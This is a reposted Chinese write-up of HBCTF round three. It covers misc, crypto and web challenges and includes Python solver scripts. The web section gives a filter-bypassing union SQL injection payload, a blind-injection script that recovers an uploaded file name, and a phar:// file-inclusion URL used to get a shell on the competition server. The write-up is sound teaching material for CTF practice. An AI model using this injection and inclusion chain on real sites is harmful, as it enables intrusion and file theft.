HBCTF第三場WP-轉載

HBCTF第三場WP

https://blog.ctftools.com/2017/05/post155

發表于2017年5月23日

Misc

乍得-簽到

題作者:Pcat WriteUp作者:Pcat

原題下載:http://hbctf-1252906577.costj.myqcloud.com/misc/qd.zip

這圖有2幀,第二幀里就有flag。而這簽到題也是有一個坑點,就是我的后綴名是寫.jpg而不是.gif,這樣會導致一些圖片播放器會以jpg播放(如win10默認的播放器),而ps會直接打不開。只要用winhex打開看到gif頭,修改后綴名即可,或者你正好使用了可以識別gif頭來播放的圖片播放器也可以輕松簽到過關。

ps,如果是用stegsolve,則”Anylyse”→”Frame Brower”就可以看到有2幀。

蘇丹-Symmetric XY

題作者:Pcat WriteUp作者:Pcat

原題下載:http://hbctf-1252906577.costj.myqcloud.com/misc/SymmetricXY.txt

首先這題的介紹是雜項題,而不是密碼題,所以不要絞盡心思的往密碼學去想。題目為Symmetric

XY,Symmetric為對稱的意思,后面有XY,如果回憶起中學數學的話,就不妨大膽的聯想到X軸對稱和Y軸對稱

題目的文本內容為55*7的大寫字母,只有大寫字母,題目又說對稱,那么就從字母對稱下手吧。 X軸對稱 BCDEKHIOX Y軸對稱

AMTWUVYHIOX 我們先保留X軸對稱的字母(這操作很簡單,用正則替換即可)

在Sublime的替換里勾選上正則,把[^BCDEKHIOX\n]替換為空格,得到下面字符(使用Sublime也有一個好處就是等寬字體),如下圖(圖中用了notepad++):

這個就是HBCTF{X

再ctrl+z撤回,再進行保留Y軸對稱的字母,把[^AMTWUVYHIOX\n]正則替換為空格,得到

這是IAOYAO}把前后連在一起就是HBCTF{XIAOYAO}

阿爾及利亞-QR_NO

題作者:Pcat WriteUp作者:Pcat

原題下載:http://hbctf-1252906577.costj.myqcloud.com/misc/qr_no.zip

在題目里我也是盡量給出tip,例如QR和NO,QR大家都知道是二維碼,那么NO是什么呢?另外描述里說“給你一張圖玩玩”。玩玩?玩什么?玩游戲么?是的,本題就是玩一款經典游戲。先把zip解壓后是一張png,打開來看:圖片中間是logo,不影響掃描,但在右邊還有2個圖片(都是hbctf群的群圖標的一部分,只不過一張反色了)在干擾,導致直接掃描不出。表層的東西就這樣,那么就看看這個png文件里有沒有藏東西。

binwalk看得是懵逼,再上TweakPNG,

再用WinHex打開,

發現PNG的IEND結尾有一個NONO,后面還跟著IHDR,而且文件底部還有一個IEND,所以把NONO的4E4F4E4F修改為PNG頭的89504E47,然后再分離出2個png文件(這一步你可以使用winhex或者foremost等等都可以)

第二圖打開為

這里有一個9*9的空白區域,再去看看之前的qr圖,里面缺失的2個圖塊都是9*9,那么猜想下這里是要求完成圖塊(建議用photoshop去填充色塊)再去粘貼到之前的qr圖上。這里其實就是一個經典游戲nonograms(自己百度去吧),為了給大家興致,我就不貼完成的樣子,把完成的9*9摳下來,縮放到72像素*72像素,然后粘貼到qr圖那個反色的圖標上面(這里我之所以采用反色也是為了提醒就是粘貼在這里,至于那個不反色的圖標由于二維碼的容差性而不影響其掃描)(ps,由于二維碼的容差性很好,那個nonograms圖填錯一些也沒事的。)

Crypto

尼日爾-simpleAES

題作者:Pcat WriteUp作者:Pcat

原題下載:http://hbctf-1252906577.costj.myqcloud.com/crypto/simpleAES.py

這題其實不難,就是涉及了md5,b64,b32,DES3,AES而已,就是練練py腳本而已。直接給解密腳本。

Python

# -*- coding:utf8 -*-__author__='pcat'__blog__='http://pcat.cnblogs.com'importreimportbase64fromhashlibimportmd5try:fromCrypto.CipherimportDES3,AESexceptImportError:print("Error: you must install the PyCrypto")print("http://www.cnblogs.com/pcat/p/6014575.html")exit()defgetkey():#因為一開始的key是經過encode的,所以爆破的字符集只需要十六進制即可cset='0123456789abcdef'#根據正則^5.*c.{2}54$key_model='5%s%sc%s%s54add_salt'foraincset:forbincset:forcincset:fordincset:key=key_model%(a,b,c,d)t=md5(key).hexdigest()ift=='a99c2b0ee8de34063367811c7cf2ca69':returnkeydefdecrypt():key=getkey()obj=DES3.new(key,DES3.MODE_ECB)cipher='mI4Os9etbYtcNJ6zF8psQA=='message=obj.decrypt(base64.b64decode(cipher))IV=''.join(chr(i)foriinrange(16))obj=AES.new(message,AES.MODE_CBC,IV)cipher2='4XCK5GX2TDXJQBHFHNUHLXKCEA4QZBX5ZWT7AAA45HHIGFOIBXZA===='flag=obj.decrypt(base64.b32decode(cipher2))printflagpassif__name__=='__main__':decrypt()

埃及-九重妖塔

題作者:逍遙自在 WriteUp作者:逍遙自在

原題下載:http://hbctf-1252906577.costj.myqcloud.com/crypto/9cyt.zip

1. 莫斯密碼很熟悉,解得

%5cu0047%5cu0058%5cu0041%5cu0041%5cu0047%5cu004a%5cu0041%5cu0041%5cu0056%5cu0047

%5cu0041%5cu0042%5cu0047%5cu0056%5cu0057%5cu005a%5cu0042%5cu0057%5cu0044%5cu0041

%5cu0048%5cu005a%5cu005a%5cu0058%5cu0041%5cu0041%5cu0047%5cu004a%5cu0044%5cu005a

%5cu005a%5cu0058%5cu0041%5cu0041%5cu0048%5cu0041%5cu0048%5cu0047%5cu0047%5cu006c

%5cu0076%5cu0077%5cu0046%5cu0050%5cu0052%5cu0077%5cu0049%5cu0079%5cu006c%5cu0077

%5cu0046%5cu0046%5cu0052%5cu0047%5cu0046%5cu006c%5cu0076%5cu004e%5cu0048%5cu0047

%5cu0047%5cu006c%5cu0076%5cu0077%5cu0053%5cu0052%5cu0053%5cu0047%5cu0048%5cu006c

%5cu0076%5cu0076%5cu0052%5cu0054%5cu0062%5cu0074%5cu0048%5cu0045%5cu004f%5cu0048

%5cu0078%5cu005a%5cu0067%5cu0052%5cu0078%5cu0044%5cu0052%5cu004c%5cu0049%5cu0049

%5cu006a%5cu0074%5cu0030%5cu0048%5cu0063%5cu0049%5cu006b%5cu0078%5cu0052%5cu0045

%5cu004f%5cu004c%5cu0075%5cu0045%5cu0063%5cu0034%5cu0048%5cu0048%5cu006a%5cu0066

%5cu004f%5cu0078%5cu0031%5cu0075%5cu0049%5cu0054%5cu0038%5cu0034%5cu0075%5cu0050

%5cu006a%5cu0067%5cu0063%5cu0033%5cu0032%5cu005a%5cu004f%5cu0030%5cu006d%5cu0076

%5cu0079%5cu0050%5cu004f%5cu0052%5cu006d%5cu007a%5cu0049%5cu0054%5cu0038%5cu004c

%5cu004f%5cu0048%5cu006b%5cu007a%5cu0062%5cu0079%5cu0064%5cu0074

2. 看到%,就想想 URL 啊,解下吧

\u0047\u0058\u0041\u0041\u0047\u004a\u0041\u0041\u0056\u0047\u0041\u0042\u0047\u

0056\u0057\u005a\u0042\u0057\u0044\u0041\u0048\u005a\u005a\u0058\u0041\u0041\u00

47\u004a\u0044\u005a\u005a\u0058\u0041\u0041\u0048\u0041\u0048\u0047\u0047\u006c

\u0076\u0077\u0046\u0050\u0052\u0077\u0049\u0079\u006c\u0077\u0046\u0046\u0052\u

0047\u0046\u006c\u0076\u004e\u0048\u0047\u0047\u006c\u0076\u0077\u0053\u0052\u00

53\u0047\u0048\u006c\u0076\u0076\u0052\u0054\u0062\u0074\u0048\u0045\u004f\u0048

\u0078\u005a\u0067\u0052\u0078\u0044\u0052\u004c\u0049\u0049\u006a\u0074\u0030\u

0048\u0063\u0049\u006b\u0078\u0052\u0045\u004f\u004c\u0075\u0045\u0063\u0034\u00

48\u0048\u006a\u0066\u004f\u0078\u0031\u0075\u0049\u0054\u0038\u0034\u0075\u0050

\u006a\u0067\u0063\u0033\u0032\u005a\u004f\u0030\u006d\u0076\u0079\u0050\u004f\u

0052\u006d\u007a\u0049\u0054\u0038\u004c\u004f\u0048\u006b\u007a\u0062\u0079\u00

64\u0074

3. 看到\u 還想啥呢?unicode 吧,

GXAAGJAAVGABGVWZBWDAHZZXAAGJDZZXAAHAHGGlvwFPRwIylwFFRGFlvNHGGlvwSRSGHlvvRTbtHEOH

xZgRxDRLIIjt0HcIkxREOLuEc4HHjfOx1uIT84uPjgc32ZO0mvyPORmzIT8LOHkzbydt

4. 第四關是坑點的到來了,這關考的是柵欄密碼,len 是 148,所以有四種,都列出來吧

5. 看起了是 base64 吧,可是又有點不一樣啊,試試最常見的 rot13 唄

6.4 個一起 base64 解密唄,嗖嗖的,看其中有一個還是挺像的,提出來吧

7.看起了好像 uuencode 啊,試試去吧

8.中間有加號,這是什么鬼啊,base64 之前考過了不是,試試 xxencode 吧

9.這個 soeasy 了,base16。flag 到手,撤退

WEB

沙特阿拉伯-大美西安

題作者:Wonderkun WriteUp作者:Wonderkun

題目地址:http://web150.ctftools.com/index.php?file=login

注冊一個賬號進入之后,發現download頁面的收藏功能存在整數型sql注入 download的過程是用文件id到數據庫中查找文件路徑,然后讀取文件返回. 所以可以用union聯合注入,修改文件名,下載別的文件. 這里有過濾,雙寫可以繞過.

image=888%20ununionion%20selselectect%200x696e6465782e706870&image_download=%E6%94%B6%E8%97%8F

就可以下載index.php,然后利用次方法下載所有的文件,進行代碼審計. 發現index.php 存在文件包含漏洞,但是限定了后綴必須是 .php文件 所以思路是利用php的phar協議繞過,但是卻沒有文件上傳路徑,所以需要利用注入獲取文件名. 由于過濾了(),所以需要利用union盲注,來找文件名. 具體怎么union盲注,參考這里http://wonderkun.cc/index.html/?p=547提供一個python的exp

Python

#!/usr/bin/python# coding:utf-8importrequestsdefgetFilename():data="image=2%20aandnd%20image_name%20lilikeke%200x74657374%20ununionion%20selselectect%200x{filename}%20oorrder%20by%201&image_download=%E6%94%B6%E8%97%8F"url="http://web150.ctftools.com/downfile.php"headers={"Content-Type":"application/x-www-form-urlencoded","Cookie":"PHPSESSID=k6to46unk90e733r47qdqh8ll7","User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36"}randStr="0123456789abcdefghijklmnopqrstuvwxyz{"fileName="./Up10aDs/"for_inrange(33):print"[*]",fileNameforiinrange(len(randStr)):# print itmpFileName=fileName+randStr[i]proxies={"http":"127.0.0.1:8080"}res=requests.post(url,data=data.format(filename=tmpFileName.encode("hex")),headers=headers,proxies=proxies)# print res.textif"file may be deleted"notinres.text:fileName=fileName+randStr[i-1]breakif__name__=='__main__':getFilename()

計算出filename為:[*] ./Up10aDs/y9c8v9ow3s6ans5o8oy5u3qnsdnckeva

加上后綴名為自己上傳文件的后綴名,就是文件名,所以文件名是

./Up10aDs/y9c8v9ow3s6ans5o8oy5u3qnsdnckeva.png 包含此文件就可以getshell了.

http://web150.ctftools.com/index.php?file=phar://Up10aDs/y9c8v9ow3s6ans5o8oy5u3qnsdnckeva.png/1

在文件F1AgIsH3r3G00d.php讀取到flag

$flag?=?"flag{f1a4628ee1e9dccfdc511f0490c73397}";

HBCTF官方群(點擊加入):595176019

在博客中遇到的問題可以聯系admin@ctftools.com

本文由Dr3@m原創發布,轉載請注明來自HBCTF BLOG,轉載代碼(點擊全選,請按"Ctrl"+"C"復制):

此項目被張貼在HBCTF。書簽的permalink

文章導航

←HBCTF第二場WP

HBCTF第四場WP→

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,030評論 6 531
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,310評論 3 415
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事?!?“怎么了?”我有些...
    開封第一講書人閱讀 175,951評論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,796評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,566評論 6 407
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,055評論 1 322
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,142評論 3 440
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,303評論 0 288
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,799評論 1 333
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,683評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,899評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,409評論 5 358
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,135評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,520評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,757評論 1 282
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,528評論 3 390
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,844評論 2 372

推薦閱讀更多精彩內容